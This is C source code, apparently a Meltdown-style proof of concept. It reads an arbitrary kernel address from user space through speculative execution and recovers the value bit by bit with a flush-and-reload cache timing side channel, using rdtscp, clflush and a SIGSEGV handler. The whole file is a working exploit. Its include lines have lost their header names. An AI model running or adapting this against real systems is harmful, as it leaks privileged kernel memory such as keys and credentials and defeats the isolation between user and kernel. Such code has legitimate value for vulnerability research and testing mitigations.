#include #include #include #include #include #include #include #include #include const unsigned cacheline_size = 128; const unsigned shift = 16; const unsigned pgsz = 16384; const unsigned ntrials = 100000; jmp_buf reset; uint64_t kaddr; uint64_t *kptr; uint64_t kword; void *ubuf; uint8_t *uptr; unsigned vote[2]; static inline uint64_t rdtsc(void) { uint32_t lo, hi, tag; asm volatile("rdtscp" : "=a"(lo), "=d"(hi), "=c"(tag)); return ((uint64_t)hi << 32) | lo; } static void cacheflush(const void *ptr) { asm volatile("clflush (%0)" : : "r"(ptr)); } static void sigsegv(int signo) { static unsigned toggle = 0; uint64_t t0, t1, t2; volatile uint8_t ubyte; (void)signo; t0 = rdtsc(); ubyte = uptr[pgsz*toggle]; t1 = rdtsc(); ubyte = uptr[pgsz*(toggle^1)]; t2 = rdtsc(); if (t1 - t0 < t2 - t1) vote[toggle]++; else vote[toggle^1]++; toggle ^= 1; longjmp(reset, 1); } #define doit(bit) do \ { \ volatile unsigned trial, ubyte; \ vote[0] = vote[1] = 0; \ for (trial = 0; trial < ntrials; trial++) { \ if (setjmp(reset) == 0) { \ cacheflush(&uptr0[pgsz*0]); \ cacheflush(&uptr0[pgsz*1]); \ ubyte = uptr0[pgsz*((*kptr0 >> (bit)) & 1)]; \ } \ } \ fprintf(stderr, "bit %u 0 %u 1 %u\n", \ (unsigned)(bit), vote[0], vote[1]); \ kword |= (uint64_t)(vote[1] > vote[0]) << (bit); \ } while (0) int main(int argc, char **argv) { char *end; int error; setprogname(argv[0]); if (argc != 2) errx(1, "usage: %s \n", getprogname()); errno = 0; kaddr = strtoumax(argv[1], &end, 0); if (end == argv[1] || end[0] != '\0' || errno) errx(1, "invalid address"); kaddr &= ~(uint64_t)0x7; kptr = (void *)(uintptr_t)kaddr; fprintf(stderr, "kptr %p\n", kptr); error = posix_memalign(&ubuf, 4096, 2*pgsz); if (error) { errno = error; err(1, "posix_memalign"); } memset(ubuf, 0, sizeof ubuf); uptr = ubuf; fprintf(stderr, "uptr[0] %p\n", &uptr[pgsz*0]); fprintf(stderr, "uptr[1] %p\n", &uptr[pgsz*1]); if (signal(SIGSEGV, &sigsegv) == SIG_ERR) err(1, "signal"); kword = 0; register uint8_t *uptr0 = uptr; register uint64_t *kptr0 = kptr; doit(0); doit(1); doit(2); doit(3); doit(4); doit(5); doit(6); doit(7); doit(8); doit(9); doit(10); doit(11); doit(12); doit(13); doit(14); doit(15); doit(16); doit(17); doit(18); doit(19); doit(20); doit(21); doit(22); doit(23); doit(24); doit(25); doit(26); doit(27); doit(28); doit(29); doit(30); doit(31); doit(32); doit(33); doit(34); doit(35); doit(36); doit(37); doit(38); doit(39); doit(40); doit(41); doit(42); doit(43); doit(44); doit(45); doit(46); doit(47); doit(48); doit(49); doit(50); doit(51); doit(52); doit(53); doit(54); doit(55); doit(56); doit(57); doit(58); doit(59); doit(60); doit(61); doit(62); doit(63); fprintf(stderr, "kword %016"PRIx64"\n", kword); return 0; }